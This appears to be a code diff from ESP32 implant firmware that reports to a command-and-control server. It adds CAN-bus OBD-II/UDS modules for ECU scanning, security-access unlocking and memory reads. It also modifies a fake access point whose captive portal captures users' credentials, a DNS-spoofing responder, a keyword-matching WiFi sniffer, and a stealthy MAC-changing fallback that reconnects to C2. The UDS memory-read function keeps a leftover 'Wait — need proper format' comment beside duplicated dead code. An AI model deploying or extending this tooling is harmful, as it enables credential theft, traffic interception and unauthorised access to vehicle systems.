{ 0x21, "Distance w/ MIL", "km", 2, decode_ab },
{ 0x2C, "Commanded EGR", "%", 1, decode_a_percent },
{ 0x2F, "Fuel Level", "%", 1, decode_a_percent },
{ 0x30, "Warmups since DTC clear", "", 1, decode_a },
{ 0x31, "Distance since DTC clear", "km", 2, decode_ab },
{ 0x33, "Baro Pressure", "kPa", 1, decode_a },
{ 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */
{ 0x45, "Relative Throttle", "%", 1, decode_a_percent },
{ 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 },
{ 0x49, "Accelerator Position D", "%", 1, decode_a_percent },
{ 0x4A, "Accelerator Position E", "%", 1, decode_a_percent },
{ 0x4C, "Commanded Throttle", "%", 1, decode_a_percent },
{ 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 },
{ 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 },
{ 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */
{ 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */
};
#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0]))
/* Find decoder for a PID */
static const pid_decoder_t *find_pid(uint8_t pid)
{
for (int i = 0; i < (int)PID_TABLE_SIZE; i++) {
if (s_pid_table[i].pid == pid) return &s_pid_table[i];
}
return NULL;
}
/* ============================================================
* OBD-II Communication (via ISO-TP)
* ============================================================ */
/* Send OBD request and receive response */
static int obd_transact(uint8_t mode, uint8_t pid,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
uint8_t req[2] = { mode, pid };
/* Use functional broadcast (0x7DF) for Mode 01/03/09 */
/* Listen on first responder (0x7E8) — most vehicles respond here */
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, resp_cap, resp_len,
2000
);
return (st == ISOTP_OK) ? 0 : -1;
}
/* ============================================================
* Public API
* ============================================================ */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out)
{
if (!out) return -1;
memset(out, 0, sizeof(*out));
uint8_t resp[16];
size_t resp_len = 0;
if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) {
return -1;
}
/* Response: mode+0x40, PID, data bytes */
if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) {
return -1;
}
out->pid = pid;
/* Try to decode with known PID table */
const pid_decoder_t *dec = find_pid(pid);
if (dec) {
out->name = dec->name;
out->unit = dec->unit;
int data_offset = 2; /* After mode+0x40 and PID */
int data_avail = (int)resp_len - data_offset;
if (data_avail >= dec->data_bytes) {
out->value = dec->decode(&resp[data_offset], data_avail);
}
} else {
out->name = "Unknown";
out->unit = "";
out->value = (resp_len > 2) ? (float)resp[2] : 0;
}
return 0;
}
int obd_query_supported(uint8_t pids_out[], int max_pids)
{
int total = 0;
uint8_t resp[16];
size_t resp_len = 0;
/* PID 00: supported PIDs 01-20 */
/* PID 20: supported PIDs 21-40 */
/* PID 40: supported PIDs 41-60 */
/* PID 60: supported PIDs 61-80 */
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
for (int r = 0; r < 4; r++) {
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
break;
}
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
break;
}
/* 4 bytes = 32 bits, each bit = supported PID */
uint32_t bitmap = ((uint32_t)resp[2] << 24)
| ((uint32_t)resp[3] << 16)
| ((uint32_t)resp[4] << 8)
| (uint32_t)resp[5];
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
if (bitmap & (1U << (31 - bit))) {
pids_out[total++] = range_pids[r] + bit + 1;
}
}
/* If last PID in range is not supported, no point checking next range */
if (!(bitmap & 0x01)) break;
}
return total;
}
int obd_read_vin(char *vin_out, size_t cap)
{
if (!vin_out || cap < 18) return -1;
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
uint8_t resp[64];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 2,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK) return -1;
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
return -1;
}
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
int vin_start = 3;
int vin_len = (int)resp_len - vin_start;
if (vin_len > 17) vin_len = 17;
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
memcpy(vin_out, &resp[vin_start], vin_len);
vin_out[vin_len] = '\0';
return 0;
}
int obd_read_dtcs(char *dtc_buf, size_t cap)
{
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
uint8_t resp[128];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
req, 1,
resp, sizeof(resp), &resp_len,
3000
);
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
snprintf(dtc_buf, cap, "No DTCs or read error");
return -1;
}
int num_dtcs = resp[1]; /* Number of DTCs */
if (num_dtcs == 0) {
snprintf(dtc_buf, cap, "No DTCs stored");
return 0;
}
int off = 0;
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
/* Each DTC is 2 bytes, starting at offset 2 */
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
int code = raw & 0x3FFF;
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
if (off >= (int)cap - 8) break;
}
return off;
}
/* ============================================================
* Continuous Monitoring
* ============================================================ */
static volatile bool s_monitor_running = false;
static TaskHandle_t s_monitor_task = NULL;
static uint8_t s_monitor_pids[16];
static int s_monitor_pid_count = 0;
static int s_monitor_interval = 1000;
static const char *s_monitor_req_id = NULL;
static SemaphoreHandle_t s_mon_mutex = NULL;
static void monitor_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
s_monitor_pid_count, s_monitor_interval);
while (s_monitor_running) {
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
obd_result_t result;
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
char line[96];
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
result.name, result.value, result.unit);
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
}
}
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
}
ESP_LOGI(TAG, "OBD monitor stopped");
s_monitor_task = NULL;
vTaskDelete(NULL);
}
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
if (s_monitor_running) {
xSemaphoreGive(s_mon_mutex);
obd_monitor_stop();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
}
if (pid_count > 16) pid_count = 16;
memcpy(s_monitor_pids, pids, pid_count);
s_monitor_pid_count = pid_count;
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
s_monitor_req_id = request_id;
s_monitor_running = true;
xTaskCreatePinnedToCore(
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
);
xSemaphoreGive(s_mon_mutex);
}
void obd_monitor_stop(void)
{
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
s_monitor_running = false;
xSemaphoreGive(s_mon_mutex);
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool obd_monitor_is_running(void)
{
return s_monitor_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */

View File

@ -0,0 +1,48 @@
/*
* canbus_obd.h
* OBD-II (ISO 15031) PID decoder over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Standard OBD-II CAN IDs */
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
#define OBD_RESPONSE_MIN 0x7E8
#define OBD_RESPONSE_MAX 0x7EF
/* Decoded PID result */
typedef struct {
uint8_t pid;
float value;
const char *unit; /* "rpm", "km/h", "C", etc. */
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
} obd_result_t;
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
int obd_query_supported(uint8_t pids_out[], int max_pids);
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
int obd_read_vin(char *vin_out, size_t cap);
/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
int obd_read_dtcs(char *dtc_buf, size_t cap);
/* Continuous monitoring: stream PIDs to C2 at interval */
void obd_monitor_start(const uint8_t *pids, int pid_count,
int interval_ms, const char *request_id);
void obd_monitor_stop(void);
bool obd_monitor_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,343 @@
/*
* canbus_uds.c
* UDS (ISO 14229) diagnostic services implementation.
*
* Each function builds a UDS payload, sends via ISO-TP,
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
* Handles NRC 0x78 (ResponsePending) with extended timeout.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "canbus_uds.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_UDS"
/* Max retries for ResponsePending (NRC 0x78) */
#define MAX_PENDING_RETRIES 10
#define PENDING_TIMEOUT_MS 5000
/* ============================================================
* Internal: UDS request with ResponsePending handling
* ============================================================ */
static int uds_transact(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
isotp_status_t st = isotp_request(
ctx->tx_id, ctx->rx_id,
req, req_len,
resp, resp_cap, resp_len,
t
);
if (st == ISOTP_TIMEOUT) {
if (retry > 0) {
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
}
return -1;
}
if (st != ISOTP_OK) return -1;
/* Check for Negative Response */
if (*resp_len >= 3 && resp[0] == 0x7F) {
uint8_t nrc = resp[2];
/* ResponsePending — ECU needs more time */
if (nrc == UDS_NRC_RESPONSE_PENDING) {
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
/* Re-listen for the real response (no re-send needed) */
*resp_len = 0;
isotp_status_t st2 = isotp_recv(
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
);
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
if (st2 != ISOTP_OK) return -1;
/* Check if we got another NRC 0x78 or the real response */
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
continue; /* Still pending */
}
/* Got the real response, fall through to return */
}
/* Other negative responses */
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
resp[2], uds_nrc_name(resp[2]), resp[1],
(unsigned long)ctx->rx_id);
return -1;
}
}
/* Positive response or parsed NRC */
return (int)*resp_len;
}
return -1;
}
/* ============================================================
* Public API
* ============================================================ */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
{
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive response: 0x50 + session type */
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
ctx->session = session_type;
return 0;
}
return -1;
}
int uds_tester_present(uds_ctx_t *ctx)
{
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
return 0;
}
return -1;
}
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap)
{
uint8_t req[3] = {
UDS_READ_DATA_BY_ID,
(uint8_t)(did >> 8),
(uint8_t)(did & 0xFF),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x62 + DID (2 bytes) + data */
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
size_t data_len = resp_len - 3;
if (data_len > cap) data_len = cap;
memcpy(out, &resp[3], data_len);
return (int)data_len;
}
return -1;
}
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len)
{
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
uint8_t resp[64];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x67 + level + seed bytes */
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
size_t slen = resp_len - 2;
if (seed && seed_len) {
memcpy(seed, &resp[2], slen);
*seed_len = slen;
}
return 0;
}
return -1;
}
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len)
{
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
if (key_len > 32) return -1;
memcpy(&req[2], key, key_len);
uint8_t resp[16];
size_t resp_len = 0;
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
ctx->security_unlocked = true;
return 0;
}
return -1;
}
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out)
{
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
uint8_t req[7] = {
UDS_READ_MEM_BY_ADDR,
0x24, /* format: 2+4 */
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
};
/* Append size low byte */
uint8_t req_full[8];
memcpy(req_full, req, 7);
req_full[7] = (uint8_t)(size & 0xFF);
/* Wait — need proper format. Let's redo:
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
uint8_t request[8] = {
UDS_READ_MEM_BY_ADDR,
0x24,
(uint8_t)(addr >> 24),
(uint8_t)(addr >> 16),
(uint8_t)(addr >> 8),
(uint8_t)(addr),
(uint8_t)(size >> 8),
(uint8_t)(size),
};
uint8_t resp[512];
size_t resp_len = 0;
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
if (ret < 0) return -1;
/* Positive: 0x63 + data */
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
size_t data_len = resp_len - 1;
if (out) memcpy(out, &resp[1], data_len);
return (int)data_len;
}
return -1;
}
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len)
{
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
}
/* ============================================================
* ECU Discovery
* ============================================================ */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
{
int found = 0;
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 200, /* Short timeout for scan */
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
}
/* Extended range: 0x700-0x7DF */
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
/* Skip standard range (already scanned) */
if (tx >= 0x7E0) break;
uint32_t rx = tx + 0x08;
uds_ctx_t ctx = {
.tx_id = tx,
.rx_id = rx,
.timeout_ms = 100,
.session = UDS_SESSION_DEFAULT,
.security_unlocked = false,
};
if (uds_tester_present(&ctx) == 0) {
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
(unsigned long)tx, (unsigned long)rx);
found_ids[found++] = tx;
}
/* Yield every 16 IDs to avoid watchdog */
if ((tx & 0x0F) == 0x0F) {
vTaskDelay(pdMS_TO_TICKS(1));
}
}
return found;
}
/* ============================================================
* NRC Name Lookup
* ============================================================ */
const char *uds_nrc_name(uint8_t nrc)
{
switch (nrc) {
case 0x10: return "generalReject";
case 0x11: return "serviceNotSupported";
case 0x12: return "subFunctionNotSupported";
case 0x13: return "incorrectMessageLength";
case 0x14: return "responseTooLong";
case 0x21: return "busyRepeatRequest";
case 0x22: return "conditionsNotCorrect";
case 0x24: return "requestSequenceError";
case 0x25: return "noResponseFromSubnet";
case 0x26: return "failurePreventsExecution";
case 0x31: return "requestOutOfRange";
case 0x33: return "securityAccessDenied";
case 0x35: return "invalidKey";
case 0x36: return "exceededNumberOfAttempts";
case 0x37: return "requiredTimeDelayNotExpired";
case 0x70: return "uploadDownloadNotAccepted";
case 0x71: return "transferDataSuspended";
case 0x72: return "generalProgrammingFailure";
case 0x73: return "wrongBlockSequenceCounter";
case 0x78: return "responsePending";
case 0x7E: return "subFunctionNotSupportedInActiveSession";
case 0x7F: return "serviceNotSupportedInActiveSession";
default: return "unknown";
}
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */

View File

@ -0,0 +1,101 @@
/*
* canbus_uds.h
* UDS (ISO 14229) diagnostic services over ISO-TP.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* UDS Service IDs
* ============================================================ */
#define UDS_DIAG_SESSION_CTRL 0x10
#define UDS_ECU_RESET 0x11
#define UDS_CLEAR_DTC 0x14
#define UDS_READ_DTC_INFO 0x19
#define UDS_READ_DATA_BY_ID 0x22
#define UDS_READ_MEM_BY_ADDR 0x23
#define UDS_SECURITY_ACCESS 0x27
#define UDS_COMM_CTRL 0x28
#define UDS_WRITE_DATA_BY_ID 0x2E
#define UDS_IO_CTRL 0x2F
#define UDS_ROUTINE_CTRL 0x31
#define UDS_REQUEST_DOWNLOAD 0x34
#define UDS_REQUEST_UPLOAD 0x35
#define UDS_TRANSFER_DATA 0x36
#define UDS_TRANSFER_EXIT 0x37
#define UDS_TESTER_PRESENT 0x3E
/* Session types */
#define UDS_SESSION_DEFAULT 0x01
#define UDS_SESSION_PROGRAMMING 0x02
#define UDS_SESSION_EXTENDED 0x03
/* Negative Response Codes */
#define UDS_NRC_GENERAL_REJECT 0x10
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
#define UDS_NRC_INCORRECT_LENGTH 0x13
#define UDS_NRC_RESPONSE_PENDING 0x78
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
#define UDS_NRC_INVALID_KEY 0x35
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
/* ============================================================
* UDS Context
* ============================================================ */
typedef struct {
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
int timeout_ms; /* Response timeout */
uint8_t session; /* Current session type */
bool security_unlocked;
} uds_ctx_t;
/* ============================================================
* High-Level UDS API
* ============================================================ */
/* DiagnosticSessionControl (0x10) */
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
/* TesterPresent (0x3E) — keep-alive */
int uds_tester_present(uds_ctx_t *ctx);
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
uint8_t *out, size_t cap);
/* SecurityAccess (0x27) — request seed */
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
uint8_t *seed, size_t *seed_len);
/* SecurityAccess (0x27) — send key */
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
const uint8_t *key, size_t key_len);
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
uint8_t *out);
/* Raw UDS request — returns response length or -1 */
int uds_raw_request(uds_ctx_t *ctx,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len);
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
/* Get human-readable NRC name */
const char *uds_nrc_name(uint8_t nrc);
#ifdef __cplusplus
}
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,7 @@
/*
* cmd_canbus.h
* CAN bus module C2 command interface.
*/
#pragma once
void mod_canbus_register_commands(void);

View File

@ -1,4 +1,4 @@
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
INCLUDE_DIRS .
REQUIRES esp_http_server
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)

View File

@ -6,10 +6,10 @@
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "command.h"
#include "fakeAP_utils.h"
#include "utils.h"
@ -18,7 +18,7 @@
/* ============================================================
* State
* ============================================================ */
static bool fakeap_running = false;
atomic_bool fakeap_active = false;
static bool portal_running = false;
static bool sniffer_running = false;
@ -40,7 +40,7 @@ static int cmd_fakeap_start(
return -1;
}
if (fakeap_running) {
if (fakeap_active) {
msg_error(TAG, "FakeAP already running", req);
return -1;
}
@ -66,7 +66,7 @@ static int cmd_fakeap_start(
}
start_access_point(ssid, password, open);
fakeap_running = true;
fakeap_active = true;
msg_info(TAG, "FakeAP started", req);
return 0;
@ -85,7 +85,7 @@ static int cmd_fakeap_stop(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
@ -101,7 +101,7 @@ static int cmd_fakeap_stop(
}
stop_access_point();
fakeap_running = false;
fakeap_active = false;
msg_info(TAG, "FakeAP stopped", req);
return 0;
@ -127,7 +127,7 @@ static int cmd_fakeap_status(
" Portal: %s\n"
" Sniffer: %s\n"
" Authenticated clients: %d",
fakeap_running ? "ON" : "OFF",
fakeap_active ? "ON" : "OFF",
portal_running ? "ON" : "OFF",
sniffer_running ? "ON" : "OFF",
authenticated_count
@ -150,7 +150,7 @@ static int cmd_fakeap_clients(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "FakeAP not running", req);
return -1;
}
@ -172,7 +172,7 @@ static int cmd_fakeap_portal_start(
(void)argv;
(void)ctx;
if (!fakeap_running) {
if (!fakeap_active) {
msg_error(TAG, "Start FakeAP first", req);
return -1;
}
@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off(
* REGISTER COMMANDS
* ============================================================ */
static const command_t fakeap_cmds[] = {
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false },
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false },
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false },
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false },
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false },
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false },
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false },
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false }
{ "fakeap_start", NULL, NULL, 1, 3, cmd_fakeap_start, NULL, false },
{ "fakeap_stop", NULL, NULL, 0, 0, cmd_fakeap_stop, NULL, false },
{ "fakeap_status", NULL, NULL, 0, 0, cmd_fakeap_status, NULL, false },
{ "fakeap_clients", NULL, NULL, 0, 0, cmd_fakeap_clients, NULL, false },
{ "fakeap_portal_start", NULL, NULL, 0, 0, cmd_fakeap_portal_start, NULL, false },
{ "fakeap_portal_stop", NULL, NULL, 0, 0, cmd_fakeap_portal_stop, NULL, false },
{ "fakeap_sniffer_on", NULL, NULL, 0, 0, cmd_fakeap_sniffer_on, NULL, false },
{ "fakeap_sniffer_off", NULL, NULL, 0, 0, cmd_fakeap_sniffer_off, NULL, false }
};
void mod_fakeap_register_commands(void)

View File

@ -300,7 +300,15 @@ static void send_dns_spoof(
int req_len,
uint32_t ip
) {
uint8_t resp[512];
/* DNS answer appends 16 bytes after the request */
#define DNS_ANSWER_SIZE 16
uint8_t resp[512 + DNS_ANSWER_SIZE];
if (req_len <= 0 || req_len > 512) {
ESP_LOGW(TAG, "DNS spoof: invalid req_len=%d", req_len);
return;
}
memcpy(resp, req, req_len);
resp[2] |= 0x80; // QR = response

View File

@ -6,6 +6,7 @@
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
static const char *TAG = "MODULE_NET_SNIFFER";
@ -57,7 +58,7 @@ static void wifi_sniffer_packet_handler(
if (payload_len <= 0)
return;
char printable[256];
char printable[128];
extract_printable(payload, payload_len, printable, sizeof(printable));
if (!printable[0])
return;
@ -74,12 +75,22 @@ static void wifi_sniffer_packet_handler(
if ((sniff_counter++ % 20) != 0)
return;
msg_data(
TAG,
printable,
strlen(printable),
true, /* eof */
NULL /* request_id */
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
char src_mac[18];
snprintf(src_mac, sizeof(src_mac),
"%02x:%02x:%02x:%02x:%02x:%02x",
frame[10], frame[11], frame[12],
frame[13], frame[14], frame[15]);
char detail[128];
snprintf(detail, sizeof(detail),
"keyword='%s' payload='%.64s'",
keywords[i], printable);
event_send(
"WIFI_PROBE", "MEDIUM",
src_mac, "0.0.0.0",
0, 0, detail, NULL
);
return;
}

View File

@ -10,6 +10,7 @@
#include "fakeAP_utils.h"
#include "utils.h"
#include "event_format.h"
#define TAG "CAPTIVE_PORTAL"
@ -126,13 +127,14 @@ static esp_err_t post_handler(httpd_req_t *req)
char *end = strchr(email, '&');
if (end) *end = '\0';
/* Send captured email (NOUVELLE SIGNATURE) */
msg_data(
TAG,
email,
strlen(email),
true, /* eof */
NULL
/* Send captured credential as HP| event */
char detail[128];
snprintf(detail, sizeof(detail), "user='%s'", email);
event_send(
"SVC_AUTH_ATTEMPT", "HIGH",
"00:00:00:00:00:00",
ip4addr_ntoa(&client_ip),
0, 80, detail, NULL
);
mark_authenticated(client_ip);

View File

@ -0,0 +1,5 @@
idf_component_register(
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
INCLUDE_DIRS .
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
)

View File

@ -0,0 +1,172 @@
/*
* cmd_fallback.c
* Fallback resilient connectivity 3 C2 commands for pre-configuration.
*
* The hunt itself is fully autonomous (no C2 command to start it).
* These commands are for status + pre-loading known networks while connected.
*/
#include "sdkconfig.h"
#include "cmd_fallback.h"
#ifdef CONFIG_MODULE_FALLBACK
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "utils.h"
#include "fb_config.h"
#include "fb_hunt.h"
#include "fb_stealth.h"
#define TAG "FB"
/* ============================================================
* COMMAND: fb_status
* Report state, SSID, method, MAC, stored networks count.
* ============================================================ */
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
{
(void)argc; (void)argv; (void)ctx;
fb_state_t state = fb_hunt_get_state();
uint8_t mac[6];
fb_stealth_get_current_mac(mac);
char buf[256];
snprintf(buf, sizeof(buf),
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
" nets=%d c2_fb=%d",
fb_hunt_state_name(state),
fb_hunt_connected_ssid(),
fb_hunt_connected_method(),
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
fb_config_net_count(),
fb_config_c2_count());
msg_info(TAG, buf, req);
return 0;
}
/* ============================================================
* COMMAND: fb_net_add <ssid> [pass]
* Add/update a known network. Pass "" to remove.
* ============================================================ */
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
{
(void)ctx;
if (argc < 1) {
